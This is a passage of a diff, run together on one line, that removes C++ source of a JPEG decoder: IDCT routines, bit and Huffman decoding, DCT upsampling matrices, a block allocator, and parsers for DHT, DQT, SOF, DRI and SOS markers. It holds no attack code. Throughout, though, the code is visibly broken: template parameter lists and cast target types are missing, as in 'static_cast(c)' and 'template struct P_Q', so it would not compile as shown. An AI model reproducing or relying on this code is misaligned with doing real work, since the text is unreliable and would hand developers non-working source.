Col<5>::idct(pDst_ptr, pTemp); break; - case 6: Col<6>::idct(pDst_ptr, pTemp); break; - case 7: Col<7>::idct(pDst_ptr, pTemp); break; - case 8: Col<8>::idct(pDst_ptr, pTemp); break; - } - - pTemp++; - pDst_ptr++; - } - } - - void idct_4x4(const jpgd_block_t* pSrc_ptr, uint8* pDst_ptr) - { - int temp[64]; - int* pTemp = temp; - const jpgd_block_t* pSrc = pSrc_ptr; - - for (int i = 4; i > 0; i--) - { - Row<4>::idct(pTemp, pSrc); - pSrc += 8; - pTemp += 8; - } - - pTemp = temp; - for (int i = 8; i > 0; i--) - { - Col<4>::idct(pDst_ptr, pTemp); - pTemp++; - pDst_ptr++; - } - } - - // Retrieve one character from the input stream. - inline uint jpeg_decoder::get_char() - { - // Any bytes remaining in buffer? - if (!m_in_buf_left) - { - // Try to get more bytes. - prep_in_buffer(); - // Still nothing to get? - if (!m_in_buf_left) - { - // Pad the end of the stream with 0xFF 0xD9 (EOI marker) - int t = m_tem_flag; - m_tem_flag ^= 1; - if (t) - return 0xD9; - else - return 0xFF; - } - } - - uint c = *m_pIn_buf_ofs++; - m_in_buf_left--; - - return c; - } - - // Same as previous method, except can indicate if the character is a pad character or not. - inline uint jpeg_decoder::get_char(bool *pPadding_flag) - { - if (!m_in_buf_left) - { - prep_in_buffer(); - if (!m_in_buf_left) - { - *pPadding_flag = true; - int t = m_tem_flag; - m_tem_flag ^= 1; - if (t) - return 0xD9; - else - return 0xFF; - } - } - - *pPadding_flag = false; - - uint c = *m_pIn_buf_ofs++; - m_in_buf_left--; - - return c; - } - - // Inserts a previously retrieved character back into the input buffer. - inline void jpeg_decoder::stuff_char(uint8 q) - { - *(--m_pIn_buf_ofs) = q; - m_in_buf_left++; - } - - // Retrieves one character from the input stream, but does not read past markers. Will continue to return 0xFF when a marker is encountered. - inline uint8 jpeg_decoder::get_octet() - { - bool padding_flag; - int c = get_char(&padding_flag); - - if (c == 0xFF) - { - if (padding_flag) - return 0xFF; - - c = get_char(&padding_flag); - if (padding_flag) - { - stuff_char(0xFF); - return 0xFF; - } - - if (c == 0x00) - return 0xFF; - else - { - stuff_char(static_cast(c)); - stuff_char(0xFF); - return 0xFF; - } - } - - return static_cast(c); - } - - // Retrieves a variable number of bits from the input stream. Does not recognize markers. - inline uint jpeg_decoder::get_bits(int num_bits) - { - if (!num_bits) - return 0; - - uint i = m_bit_buf >> (32 - num_bits); - - if ((m_bits_left -= num_bits) <= 0) - { - m_bit_buf <<= (num_bits += m_bits_left); - - uint c1 = get_char(); - uint c2 = get_char(); - m_bit_buf = (m_bit_buf & 0xFFFF0000) | (c1 << 8) | c2; - - m_bit_buf <<= -m_bits_left; - - m_bits_left += 16; - - JPGD_ASSERT(m_bits_left >= 0); - } - else - m_bit_buf <<= num_bits; - - return i; - } - - // Retrieves a variable number of bits from the input stream. Markers will not be read into the input bit buffer. Instead, an infinite number of all 1's will be returned when a marker is encountered. - inline uint jpeg_decoder::get_bits_no_markers(int num_bits) - { - if (!num_bits) - return 0; - - uint i = m_bit_buf >> (32 - num_bits); - - if ((m_bits_left -= num_bits) <= 0) - { - m_bit_buf <<= (num_bits += m_bits_left); - - if ((m_in_buf_left < 2) || (m_pIn_buf_ofs[0] == 0xFF) || (m_pIn_buf_ofs[1] == 0xFF)) - { - uint c1 = get_octet(); - uint c2 = get_octet(); - m_bit_buf |= (c1 << 8) | c2; - } - else - { - m_bit_buf |= ((uint)m_pIn_buf_ofs[0] << 8) | m_pIn_buf_ofs[1]; - m_in_buf_left -= 2; - m_pIn_buf_ofs += 2; - } - - m_bit_buf <<= -m_bits_left; - - m_bits_left += 16; - - JPGD_ASSERT(m_bits_left >= 0); - } - else - m_bit_buf <<= num_bits; - - return i; - } - - // Decodes a Huffman encoded symbol. - inline int jpeg_decoder::huff_decode(huff_tables *pH) - { - int symbol; - - // Check first 8-bits: do we have a complete symbol? - if ((symbol = pH->look_up[m_bit_buf >> 24]) < 0) - { - // Decode more bits, use a tree traversal to find symbol. - int ofs = 23; - do - { - symbol = pH->tree[-(int)(symbol + ((m_bit_buf >> ofs) & 1))]; - ofs--; - } while (symbol < 0); - - get_bits_no_markers(8 + (23 - ofs)); - } - else - get_bits_no_markers(pH->code_size[symbol]); - - return symbol; - } - - // Decodes a Huffman encoded symbol. - inline int jpeg_decoder::huff_decode(huff_tables *pH, int& extra_bits) - { - int symbol; - - // Check first 8-bits: do we have a complete symbol? - if ((symbol = pH->look_up2[m_bit_buf >> 24]) < 0) - { - // Use a tree traversal to find symbol. - int ofs = 23; - do - { - symbol = pH->tree[-(int)(symbol + ((m_bit_buf >> ofs) & 1))]; - ofs--; - } while (symbol < 0); - - get_bits_no_markers(8 + (23 - ofs)); - - extra_bits = get_bits_no_markers(symbol & 0xF); - } - else - { - JPGD_ASSERT(((symbol >> 8) & 31) == pH->code_size[symbol & 255] + ((symbol & 0x8000) ? (symbol & 15) : 0)); - - if (symbol & 0x8000) - { - get_bits_no_markers((symbol >> 8) & 31); - extra_bits = symbol >> 16; - } - else - { - int code_size = (symbol >> 8) & 31; - int num_extra_bits = symbol & 0xF; - int bits = code_size + num_extra_bits; - if (bits <= (m_bits_left + 16)) - extra_bits = get_bits_no_markers(bits) & ((1 << num_extra_bits) - 1); - else - { - get_bits_no_markers(code_size); - extra_bits = get_bits_no_markers(num_extra_bits); - } - } - - symbol &= 0xFF; - } - - return symbol; - } - - // Tables and macro used to fully decode the DPCM differences. - static const int s_extend_test[16] = { 0, 0x0001, 0x0002, 0x0004, 0x0008, 0x0010, 0x0020, 0x0040, 0x0080, 0x0100, 0x0200, 0x0400, 0x0800, 0x1000, 0x2000, 0x4000 }; - static const int s_extend_offset[16] = { 0, -1, -3, -7, -15, -31, -63, -127, -255, -511, -1023, -2047, -4095, -8191, -16383, -32767 }; - static const int s_extend_mask[] = { 0, (1<<0), (1<<1), (1<<2), (1<<3), (1<<4), (1<<5), (1<<6), (1<<7), (1<<8), (1<<9), (1<<10), (1<<11), (1<<12), (1<<13), (1<<14), (1<<15), (1<<16) }; -#define HUFF_EXTEND(x,s) ((x) < s_extend_test[s] ? (x) + s_extend_offset[s] : (x)) - - // Clamps a value between 0-255. - inline uint8 jpeg_decoder::clamp(int i) - { - if (static_cast(i) > 255) - i = (((~i) >> 31) & 0xFF); - - return static_cast(i); - } - - namespace DCT_Upsample - { - struct Matrix44 - { - typedef int Element_Type; - enum { NUM_ROWS = 4, NUM_COLS = 4 }; - - Element_Type v[NUM_ROWS][NUM_COLS]; - - inline int rows() const { return NUM_ROWS; } - inline int cols() const { return NUM_COLS; } - - inline const Element_Type & at(int r, int c) const { return v[r][c]; } - inline Element_Type & at(int r, int c) { return v[r][c]; } - - inline Matrix44() { } - - inline Matrix44& operator += (const Matrix44& a) - { - for (int r = 0; r < NUM_ROWS; r++) - { - at(r, 0) += a.at(r, 0); - at(r, 1) += a.at(r, 1); - at(r, 2) += a.at(r, 2); - at(r, 3) += a.at(r, 3); - } - return *this; - } - - inline Matrix44& operator -= (const Matrix44& a) - { - for (int r = 0; r < NUM_ROWS; r++) - { - at(r, 0) -= a.at(r, 0); - at(r, 1) -= a.at(r, 1); - at(r, 2) -= a.at(r, 2); - at(r, 3) -= a.at(r, 3); - } - return *this; - } - - friend inline Matrix44 operator + (const Matrix44& a, const Matrix44& b) - { - Matrix44 ret; - for (int r = 0; r < NUM_ROWS; r++) - { - ret.at(r, 0) = a.at(r, 0) + b.at(r, 0); - ret.at(r, 1) = a.at(r, 1) + b.at(r, 1); - ret.at(r, 2) = a.at(r, 2) + b.at(r, 2); - ret.at(r, 3) = a.at(r, 3) + b.at(r, 3); - } - return ret; - } - - friend inline Matrix44 operator - (const Matrix44& a, const Matrix44& b) - { - Matrix44 ret; - for (int r = 0; r < NUM_ROWS; r++) - { - ret.at(r, 0) = a.at(r, 0) - b.at(r, 0); - ret.at(r, 1) = a.at(r, 1) - b.at(r, 1); - ret.at(r, 2) = a.at(r, 2) - b.at(r, 2); - ret.at(r, 3) = a.at(r, 3) - b.at(r, 3); - } - return ret; - } - - static inline void add_and_store(jpgd_block_t* pDst, const Matrix44& a, const Matrix44& b) - { - for (int r = 0; r < 4; r++) - { - pDst[0*8 + r] = static_cast(a.at(r, 0) + b.at(r, 0)); - pDst[1*8 + r] = static_cast(a.at(r, 1) + b.at(r, 1)); - pDst[2*8 + r] = static_cast(a.at(r, 2) + b.at(r, 2)); - pDst[3*8 + r] = static_cast(a.at(r, 3) + b.at(r, 3)); - } - } - - static inline void sub_and_store(jpgd_block_t* pDst, const Matrix44& a, const Matrix44& b) - { - for (int r = 0; r < 4; r++) - { - pDst[0*8 + r] = static_cast(a.at(r, 0) - b.at(r, 0)); - pDst[1*8 + r] = static_cast(a.at(r, 1) - b.at(r, 1)); - pDst[2*8 + r] = static_cast(a.at(r, 2) - b.at(r, 2)); - pDst[3*8 + r] = static_cast(a.at(r, 3) - b.at(r, 3)); - } - } - }; - - const int FRACT_BITS = 10; - const int SCALE = 1 << FRACT_BITS; - - typedef int Temp_Type; -#define D(i) (((i) + (SCALE >> 1)) >> FRACT_BITS) -#define F(i) ((int)((i) * SCALE + .5f)) - - // Any decent C++ compiler will optimize this at compile time to a 0, or an array access. -#define AT(c, r) ((((c)>=NUM_COLS)||((r)>=NUM_ROWS)) ? 0 : pSrc[(c)+(r)*8]) - - // NUM_ROWS/NUM_COLS = # of non-zero rows/cols in input matrix - template - struct P_Q - { - static void calc(Matrix44& P, Matrix44& Q, const jpgd_block_t* pSrc) - { - // 4x8 = 4x8 times 8x8, matrix 0 is constant - const Temp_Type X000 = AT(0, 0); - const Temp_Type X001 = AT(0, 1); - const Temp_Type X002 = AT(0, 2); - const Temp_Type X003 = AT(0, 3); - const Temp_Type X004 = AT(0, 4); - const Temp_Type X005 = AT(0, 5); - const Temp_Type X006 = AT(0, 6); - const Temp_Type X007 = AT(0, 7); - const Temp_Type X010 = D(F(0.415735f) * AT(1, 0) + F(0.791065f) * AT(3, 0) + F(-0.352443f) * AT(5, 0) + F(0.277785f) * AT(7, 0)); - const Temp_Type X011 = D(F(0.415735f) * AT(1, 1) + F(0.791065f) * AT(3, 1) + F(-0.352443f) * AT(5, 1) + F(0.277785f) * AT(7, 1)); - const Temp_Type X012 = D(F(0.415735f) * AT(1, 2) + F(0.791065f) * AT(3, 2) + F(-0.352443f) * AT(5, 2) + F(0.277785f) * AT(7, 2)); - const Temp_Type X013 = D(F(0.415735f) * AT(1, 3) + F(0.791065f) * AT(3, 3) + F(-0.352443f) * AT(5, 3) + F(0.277785f) * AT(7, 3)); - const Temp_Type X014 = D(F(0.415735f) * AT(1, 4) + F(0.791065f) * AT(3, 4) + F(-0.352443f) * AT(5, 4) + F(0.277785f) * AT(7, 4)); - const Temp_Type X015 = D(F(0.415735f) * AT(1, 5) + F(0.791065f) * AT(3, 5) + F(-0.352443f) * AT(5, 5) + F(0.277785f) * AT(7, 5)); - const Temp_Type X016 = D(F(0.415735f) * AT(1, 6) + F(0.791065f) * AT(3, 6) + F(-0.352443f) * AT(5, 6) + F(0.277785f) * AT(7, 6)); - const Temp_Type X017 = D(F(0.415735f) * AT(1, 7) + F(0.791065f) * AT(3, 7) + F(-0.352443f) * AT(5, 7) + F(0.277785f) * AT(7, 7)); - const Temp_Type X020 = AT(4, 0); - const Temp_Type X021 = AT(4, 1); - const Temp_Type X022 = AT(4, 2); - const Temp_Type X023 = AT(4, 3); - const Temp_Type X024 = AT(4, 4); - const Temp_Type X025 = AT(4, 5); - const Temp_Type X026 = AT(4, 6); - const Temp_Type X027 = AT(4, 7); - const Temp_Type X030 = D(F(0.022887f) * AT(1, 0) + F(-0.097545f) * AT(3, 0) + F(0.490393f) * AT(5, 0) + F(0.865723f) * AT(7, 0)); - const Temp_Type X031 = D(F(0.022887f) * AT(1, 1) + F(-0.097545f) * AT(3, 1) + F(0.490393f) * AT(5, 1) + F(0.865723f) * AT(7, 1)); - const Temp_Type X032 = D(F(0.022887f) * AT(1, 2) + F(-0.097545f) * AT(3, 2) + F(0.490393f) * AT(5, 2) + F(0.865723f) * AT(7, 2)); - const Temp_Type X033 = D(F(0.022887f) * AT(1, 3) + F(-0.097545f) * AT(3, 3) + F(0.490393f) * AT(5, 3) + F(0.865723f) * AT(7, 3)); - const Temp_Type X034 = D(F(0.022887f) * AT(1, 4) + F(-0.097545f) * AT(3, 4) + F(0.490393f) * AT(5, 4) + F(0.865723f) * AT(7, 4)); - const Temp_Type X035 = D(F(0.022887f) * AT(1, 5) + F(-0.097545f) * AT(3, 5) + F(0.490393f) * AT(5, 5) + F(0.865723f) * AT(7, 5)); - const Temp_Type X036 = D(F(0.022887f) * AT(1, 6) + F(-0.097545f) * AT(3, 6) + F(0.490393f) * AT(5, 6) + F(0.865723f) * AT(7, 6)); - const Temp_Type X037 = D(F(0.022887f) * AT(1, 7) + F(-0.097545f) * AT(3, 7) + F(0.490393f) * AT(5, 7) + F(0.865723f) * AT(7, 7)); - - // 4x4 = 4x8 times 8x4, matrix 1 is constant - P.at(0, 0) = X000; - P.at(0, 1) = D(X001 * F(0.415735f) + X003 * F(0.791065f) + X005 * F(-0.352443f) + X007 * F(0.277785f)); - P.at(0, 2) = X004; - P.at(0, 3) = D(X001 * F(0.022887f) + X003 * F(-0.097545f) + X005 * F(0.490393f) + X007 * F(0.865723f)); - P.at(1, 0) = X010; - P.at(1, 1) = D(X011 * F(0.415735f) + X013 * F(0.791065f) + X015 * F(-0.352443f) + X017 * F(0.277785f)); - P.at(1, 2) = X014; - P.at(1, 3) = D(X011 * F(0.022887f) + X013 * F(-0.097545f) + X015 * F(0.490393f) + X017 * F(0.865723f)); - P.at(2, 0) = X020; - P.at(2, 1) = D(X021 * F(0.415735f) + X023 * F(0.791065f) + X025 * F(-0.352443f) + X027 * F(0.277785f)); - P.at(2, 2) = X024; - P.at(2, 3) = D(X021 * F(0.022887f) + X023 * F(-0.097545f) + X025 * F(0.490393f) + X027 * F(0.865723f)); - P.at(3, 0) = X030; - P.at(3, 1) = D(X031 * F(0.415735f) + X033 * F(0.791065f) + X035 * F(-0.352443f) + X037 * F(0.277785f)); - P.at(3, 2) = X034; - P.at(3, 3) = D(X031 * F(0.022887f) + X033 * F(-0.097545f) + X035 * F(0.490393f) + X037 * F(0.865723f)); - // 40 muls 24 adds - - // 4x4 = 4x8 times 8x4, matrix 1 is constant - Q.at(0, 0) = D(X001 * F(0.906127f) + X003 * F(-0.318190f) + X005 * F(0.212608f) + X007 * F(-0.180240f)); - Q.at(0, 1) = X002; - Q.at(0, 2) = D(X001 * F(-0.074658f) + X003 * F(0.513280f) + X005 * F(0.768178f) + X007 * F(-0.375330f)); - Q.at(0, 3) = X006; - Q.at(1, 0) = D(X011 * F(0.906127f) + X013 * F(-0.318190f) + X015 * F(0.212608f) + X017 * F(-0.180240f)); - Q.at(1, 1) = X012; - Q.at(1, 2) = D(X011 * F(-0.074658f) + X013 * F(0.513280f) + X015 * F(0.768178f) + X017 * F(-0.375330f)); - Q.at(1, 3) = X016; - Q.at(2, 0) = D(X021 * F(0.906127f) + X023 * F(-0.318190f) + X025 * F(0.212608f) + X027 * F(-0.180240f)); - Q.at(2, 1) = X022; - Q.at(2, 2) = D(X021 * F(-0.074658f) + X023 * F(0.513280f) + X025 * F(0.768178f) + X027 * F(-0.375330f)); - Q.at(2, 3) = X026; - Q.at(3, 0) = D(X031 * F(0.906127f) + X033 * F(-0.318190f) + X035 * F(0.212608f) + X037 * F(-0.180240f)); - Q.at(3, 1) = X032; - Q.at(3, 2) = D(X031 * F(-0.074658f) + X033 * F(0.513280f) + X035 * F(0.768178f) + X037 * F(-0.375330f)); - Q.at(3, 3) = X036; - // 40 muls 24 adds - } - }; - - template - struct R_S - { - static void calc(Matrix44& R, Matrix44& S, const jpgd_block_t* pSrc) - { - // 4x8 = 4x8 times 8x8, matrix 0 is constant - const Temp_Type X100 = D(F(0.906127f) * AT(1, 0) + F(-0.318190f) * AT(3, 0) + F(0.212608f) * AT(5, 0) + F(-0.180240f) * AT(7, 0)); - const Temp_Type X101 = D(F(0.906127f) * AT(1, 1) + F(-0.318190f) * AT(3, 1) + F(0.212608f) * AT(5, 1) + F(-0.180240f) * AT(7, 1)); - const Temp_Type X102 = D(F(0.906127f) * AT(1, 2) + F(-0.318190f) * AT(3, 2) + F(0.212608f) * AT(5, 2) + F(-0.180240f) * AT(7, 2)); - const Temp_Type X103 = D(F(0.906127f) * AT(1, 3) + F(-0.318190f) * AT(3, 3) + F(0.212608f) * AT(5, 3) + F(-0.180240f) * AT(7, 3)); - const Temp_Type X104 = D(F(0.906127f) * AT(1, 4) + F(-0.318190f) * AT(3, 4) + F(0.212608f) * AT(5, 4) + F(-0.180240f) * AT(7, 4)); - const Temp_Type X105 = D(F(0.906127f) * AT(1, 5) + F(-0.318190f) * AT(3, 5) + F(0.212608f) * AT(5, 5) + F(-0.180240f) * AT(7, 5)); - const Temp_Type X106 = D(F(0.906127f) * AT(1, 6) + F(-0.318190f) * AT(3, 6) + F(0.212608f) * AT(5, 6) + F(-0.180240f) * AT(7, 6)); - const Temp_Type X107 = D(F(0.906127f) * AT(1, 7) + F(-0.318190f) * AT(3, 7) + F(0.212608f) * AT(5, 7) + F(-0.180240f) * AT(7, 7)); - const Temp_Type X110 = AT(2, 0); - const Temp_Type X111 = AT(2, 1); - const Temp_Type X112 = AT(2, 2); - const Temp_Type X113 = AT(2, 3); - const Temp_Type X114 = AT(2, 4); - const Temp_Type X115 = AT(2, 5); - const Temp_Type X116 = AT(2, 6); - const Temp_Type X117 = AT(2, 7); - const Temp_Type X120 = D(F(-0.074658f) * AT(1, 0) + F(0.513280f) * AT(3, 0) + F(0.768178f) * AT(5, 0) + F(-0.375330f) * AT(7, 0)); - const Temp_Type X121 = D(F(-0.074658f) * AT(1, 1) + F(0.513280f) * AT(3, 1) + F(0.768178f) * AT(5, 1) + F(-0.375330f) * AT(7, 1)); - const Temp_Type X122 = D(F(-0.074658f) * AT(1, 2) + F(0.513280f) * AT(3, 2) + F(0.768178f) * AT(5, 2) + F(-0.375330f) * AT(7, 2)); - const Temp_Type X123 = D(F(-0.074658f) * AT(1, 3) + F(0.513280f) * AT(3, 3) + F(0.768178f) * AT(5, 3) + F(-0.375330f) * AT(7, 3)); - const Temp_Type X124 = D(F(-0.074658f) * AT(1, 4) + F(0.513280f) * AT(3, 4) + F(0.768178f) * AT(5, 4) + F(-0.375330f) * AT(7, 4)); - const Temp_Type X125 = D(F(-0.074658f) * AT(1, 5) + F(0.513280f) * AT(3, 5) + F(0.768178f) * AT(5, 5) + F(-0.375330f) * AT(7, 5)); - const Temp_Type X126 = D(F(-0.074658f) * AT(1, 6) + F(0.513280f) * AT(3, 6) + F(0.768178f) * AT(5, 6) + F(-0.375330f) * AT(7, 6)); - const Temp_Type X127 = D(F(-0.074658f) * AT(1, 7) + F(0.513280f) * AT(3, 7) + F(0.768178f) * AT(5, 7) + F(-0.375330f) * AT(7, 7)); - const Temp_Type X130 = AT(6, 0); - const Temp_Type X131 = AT(6, 1); - const Temp_Type X132 = AT(6, 2); - const Temp_Type X133 = AT(6, 3); - const Temp_Type X134 = AT(6, 4); - const Temp_Type X135 = AT(6, 5); - const Temp_Type X136 = AT(6, 6); - const Temp_Type X137 = AT(6, 7); - // 80 muls 48 adds - - // 4x4 = 4x8 times 8x4, matrix 1 is constant - R.at(0, 0) = X100; - R.at(0, 1) = D(X101 * F(0.415735f) + X103 * F(0.791065f) + X105 * F(-0.352443f) + X107 * F(0.277785f)); - R.at(0, 2) = X104; - R.at(0, 3) = D(X101 * F(0.022887f) + X103 * F(-0.097545f) + X105 * F(0.490393f) + X107 * F(0.865723f)); - R.at(1, 0) = X110; - R.at(1, 1) = D(X111 * F(0.415735f) + X113 * F(0.791065f) + X115 * F(-0.352443f) + X117 * F(0.277785f)); - R.at(1, 2) = X114; - R.at(1, 3) = D(X111 * F(0.022887f) + X113 * F(-0.097545f) + X115 * F(0.490393f) + X117 * F(0.865723f)); - R.at(2, 0) = X120; - R.at(2, 1) = D(X121 * F(0.415735f) + X123 * F(0.791065f) + X125 * F(-0.352443f) + X127 * F(0.277785f)); - R.at(2, 2) = X124; - R.at(2, 3) = D(X121 * F(0.022887f) + X123 * F(-0.097545f) + X125 * F(0.490393f) + X127 * F(0.865723f)); - R.at(3, 0) = X130; - R.at(3, 1) = D(X131 * F(0.415735f) + X133 * F(0.791065f) + X135 * F(-0.352443f) + X137 * F(0.277785f)); - R.at(3, 2) = X134; - R.at(3, 3) = D(X131 * F(0.022887f) + X133 * F(-0.097545f) + X135 * F(0.490393f) + X137 * F(0.865723f)); - // 40 muls 24 adds - // 4x4 = 4x8 times 8x4, matrix 1 is constant - S.at(0, 0) = D(X101 * F(0.906127f) + X103 * F(-0.318190f) + X105 * F(0.212608f) + X107 * F(-0.180240f)); - S.at(0, 1) = X102; - S.at(0, 2) = D(X101 * F(-0.074658f) + X103 * F(0.513280f) + X105 * F(0.768178f) + X107 * F(-0.375330f)); - S.at(0, 3) = X106; - S.at(1, 0) = D(X111 * F(0.906127f) + X113 * F(-0.318190f) + X115 * F(0.212608f) + X117 * F(-0.180240f)); - S.at(1, 1) = X112; - S.at(1, 2) = D(X111 * F(-0.074658f) + X113 * F(0.513280f) + X115 * F(0.768178f) + X117 * F(-0.375330f)); - S.at(1, 3) = X116; - S.at(2, 0) = D(X121 * F(0.906127f) + X123 * F(-0.318190f) + X125 * F(0.212608f) + X127 * F(-0.180240f)); - S.at(2, 1) = X122; - S.at(2, 2) = D(X121 * F(-0.074658f) + X123 * F(0.513280f) + X125 * F(0.768178f) + X127 * F(-0.375330f)); - S.at(2, 3) = X126; - S.at(3, 0) = D(X131 * F(0.906127f) + X133 * F(-0.318190f) + X135 * F(0.212608f) + X137 * F(-0.180240f)); - S.at(3, 1) = X132; - S.at(3, 2) = D(X131 * F(-0.074658f) + X133 * F(0.513280f) + X135 * F(0.768178f) + X137 * F(-0.375330f)); - S.at(3, 3) = X136; - // 40 muls 24 adds - } - }; - } // end namespace DCT_Upsample - - // Unconditionally frees all allocated m_blocks. - void jpeg_decoder::free_all_blocks() - { - m_pStream = NULL; - for (mem_block *b = m_pMem_blocks; b; ) - { - mem_block *n = b->m_pNext; - jpgd_free(b); - b = n; - } - m_pMem_blocks = NULL; - } - - // This method handles all errors. - // It could easily be changed to use C++ exceptions. - void jpeg_decoder::stop_decoding(jpgd_status status) - { - m_error_code = status; - free_all_blocks(); - longjmp(m_jmp_state, status); - - // we shouldn't get here as longjmp shouldn't return, but we put it here to make it explicit - // that this function doesn't return, otherwise we get this error: - // - // error : function declared 'noreturn' should not return - exit(1); - } - - void *jpeg_decoder::alloc(size_t nSize, bool zero) - { - nSize = (JPGD_MAX(nSize, 1) + 3) & ~3; - char *rv = NULL; - for (mem_block *b = m_pMem_blocks; b; b = b->m_pNext) - { - if ((b->m_used_count + nSize) <= b->m_size) - { - rv = b->m_data + b->m_used_count; - b->m_used_count += nSize; - break; - } - } - if (!rv) - { - int capacity = JPGD_MAX(32768 - 256, (nSize + 2047) & ~2047); - mem_block *b = (mem_block*)jpgd_malloc(sizeof(mem_block) + capacity); - if (!b) stop_decoding(JPGD_NOTENOUGHMEM); - b->m_pNext = m_pMem_blocks; m_pMem_blocks = b; - b->m_used_count = nSize; - b->m_size = capacity; - rv = b->m_data; - } - if (zero) memset(rv, 0, nSize); - return rv; - } - - void jpeg_decoder::word_clear(void *p, uint16 c, uint n) - { - uint8 *pD = (uint8*)p; - const uint8 l = c & 0xFF, h = (c >> 8) & 0xFF; - while (n) - { - pD[0] = l; pD[1] = h; pD += 2; - n--; - } - } - - // Refill the input buffer. - // This method will sit in a loop until (A) the buffer is full or (B) - // the stream's read() method reports and end of file condition. - void jpeg_decoder::prep_in_buffer() - { - m_in_buf_left = 0; - m_pIn_buf_ofs = m_in_buf; - - if (m_eof_flag) - return; - - do - { - int bytes_read = m_pStream->read(m_in_buf + m_in_buf_left, JPGD_IN_BUF_SIZE - m_in_buf_left, &m_eof_flag); - if (bytes_read == -1) - stop_decoding(JPGD_STREAM_READ); - - m_in_buf_left += bytes_read; - } while ((m_in_buf_left < JPGD_IN_BUF_SIZE) && (!m_eof_flag)); - - m_total_bytes_read += m_in_buf_left; - - // Pad the end of the block with M_EOI (prevents the decompressor from going off the rails if the stream is invalid). - // (This dates way back to when this decompressor was written in C/asm, and the all-asm Huffman decoder did some fancy things to increase perf.) - word_clear(m_pIn_buf_ofs + m_in_buf_left, 0xD9FF, 64); - } - - // Read a Huffman code table. - void jpeg_decoder::read_dht_marker() - { - int i, index, count; - uint8 huff_num[17]; - uint8 huff_val[256]; - - uint num_left = get_bits(16); - - if (num_left < 2) - stop_decoding(JPGD_BAD_DHT_MARKER); - - num_left -= 2; - - while (num_left) - { - index = get_bits(8); - - huff_num[0] = 0; - - count = 0; - - for (i = 1; i <= 16; i++) - { - huff_num[i] = static_cast(get_bits(8)); - count += huff_num[i]; - } - - if (count > 255) - stop_decoding(JPGD_BAD_DHT_COUNTS); - - for (i = 0; i < count; i++) - huff_val[i] = static_cast(get_bits(8)); - - i = 1 + 16 + count; - - if (num_left < (uint)i) - stop_decoding(JPGD_BAD_DHT_MARKER); - - num_left -= i; - - if ((index & 0x10) > 0x10) - stop_decoding(JPGD_BAD_DHT_INDEX); - - index = (index & 0x0F) + ((index & 0x10) >> 4) * (JPGD_MAX_HUFF_TABLES >> 1); - - if (index >= JPGD_MAX_HUFF_TABLES) - stop_decoding(JPGD_BAD_DHT_INDEX); - - if (!m_huff_num[index]) - m_huff_num[index] = (uint8 *)alloc(17); - - if (!m_huff_val[index]) - m_huff_val[index] = (uint8 *)alloc(256); - - m_huff_ac[index] = (index & 0x10) != 0; - memcpy(m_huff_num[index], huff_num, 17); - memcpy(m_huff_val[index], huff_val, 256); - } - } - - // Read a quantization table. - void jpeg_decoder::read_dqt_marker() - { - int n, i, prec; - uint num_left; - uint temp; - - num_left = get_bits(16); - - if (num_left < 2) - stop_decoding(JPGD_BAD_DQT_MARKER); - - num_left -= 2; - - while (num_left) - { - n = get_bits(8); - prec = n >> 4; - n &= 0x0F; - - if (n >= JPGD_MAX_QUANT_TABLES) - stop_decoding(JPGD_BAD_DQT_TABLE); - - if (!m_quant[n]) - m_quant[n] = (jpgd_quant_t *)alloc(64 * sizeof(jpgd_quant_t)); - - // read quantization entries, in zag order - for (i = 0; i < 64; i++) - { - temp = get_bits(8); - - if (prec) - temp = (temp << 8) + get_bits(8); - - m_quant[n][i] = static_cast(temp); - } - - i = 64 + 1; - - if (prec) - i += 64; - - if (num_left < (uint)i) - stop_decoding(JPGD_BAD_DQT_LENGTH); - - num_left -= i; - } - } - - // Read the start of frame (SOF) marker. - void jpeg_decoder::read_sof_marker() - { - int i; - uint num_left; - - num_left = get_bits(16); - - if (get_bits(8) != 8) /* precision: sorry, only 8-bit precision is supported right now */ - stop_decoding(JPGD_BAD_PRECISION); - - m_image_y_size = get_bits(16); - - if ((m_image_y_size < 1) || (m_image_y_size > JPGD_MAX_HEIGHT)) - stop_decoding(JPGD_BAD_HEIGHT); - - m_image_x_size = get_bits(16); - - if ((m_image_x_size < 1) || (m_image_x_size > JPGD_MAX_WIDTH)) - stop_decoding(JPGD_BAD_WIDTH); - - m_comps_in_frame = get_bits(8); - - if (m_comps_in_frame > JPGD_MAX_COMPONENTS) - stop_decoding(JPGD_TOO_MANY_COMPONENTS); - - if (num_left != (uint)(m_comps_in_frame * 3 + 8)) - stop_decoding(JPGD_BAD_SOF_LENGTH); - - for (i = 0; i < m_comps_in_frame; i++) - { - m_comp_ident[i] = get_bits(8); - m_comp_h_samp[i] = get_bits(4); - m_comp_v_samp[i] = get_bits(4); - m_comp_quant[i] = get_bits(8); - } - } - - // Used to skip unrecognized markers. - void jpeg_decoder::skip_variable_marker() - { - uint num_left; - - num_left = get_bits(16); - - if (num_left < 2) - stop_decoding(JPGD_BAD_VARIABLE_MARKER); - - num_left -= 2; - - while (num_left) - { - get_bits(8); - num_left--; - } - } - - // Read a define restart interval (DRI) marker. - void jpeg_decoder::read_dri_marker() - { - if (get_bits(16) != 4) - stop_decoding(JPGD_BAD_DRI_LENGTH); - - m_restart_interval = get_bits(16); - } - - // Read a start of scan (SOS) marker. - void jpeg_decoder::read_sos_marker() - { - uint num_left; - int i, ci, n, c, cc; - - num_left = get_bits(16); - - n = get_bits(8); - - m_comps_in_scan = n; - - num_left -= 3; - - if ( (num_left != (uint)(n * 2 + 3)) || (n < 1) || (n > JPGD_MAX_COMPS_IN_SCAN) ) - stop_decoding(JPGD_BAD_SOS_LENGTH); - - for (i = 0; i < n; i++) - { - cc = get_bits(8); - c = get_bits(8); - num_left -= 2; - - for (ci = 0; ci < m_comps_in_frame; ci++) - if (cc == m_comp_ident[ci]) - break; - - if (ci >= m_comps_in_frame) - stop_decoding(JPGD_BAD_SOS_COMP_ID); - - m_comp_list[i] = ci; - m_comp_dc_tab[ci] = (c >> 4) & 15; - m_comp_ac_tab[ci] = (c & 15) + (JPGD_MAX_HUFF_TABLES >> 1); - } - - m_spectral_start = get_bits(8); - m_spectral_end = get_bits(8); - m_successive_high = get_bits(4); - m_successive_low = get_bits(4); - - if (!m_progressive_flag) - { - m_spectral_start = 0; - m_spectral_end = 63; - } - - num_left -= 3; - - while (num_left) /* read past whatever is num_left */ - { - get_bits(8); - num_left--; - } - } - - // Finds the next marker. - int jpeg_decoder::next_marker() - { - uint c, bytes; - - bytes = 0; - - do - { - do - { - bytes++; - c = get_bits(8); - } while (c != 0xFF); - - do - { - c = get_bits(8); - } while (c == 0xFF); - - } while (c == 0); - - // If bytes > 0 here, there where extra bytes before the marker (not 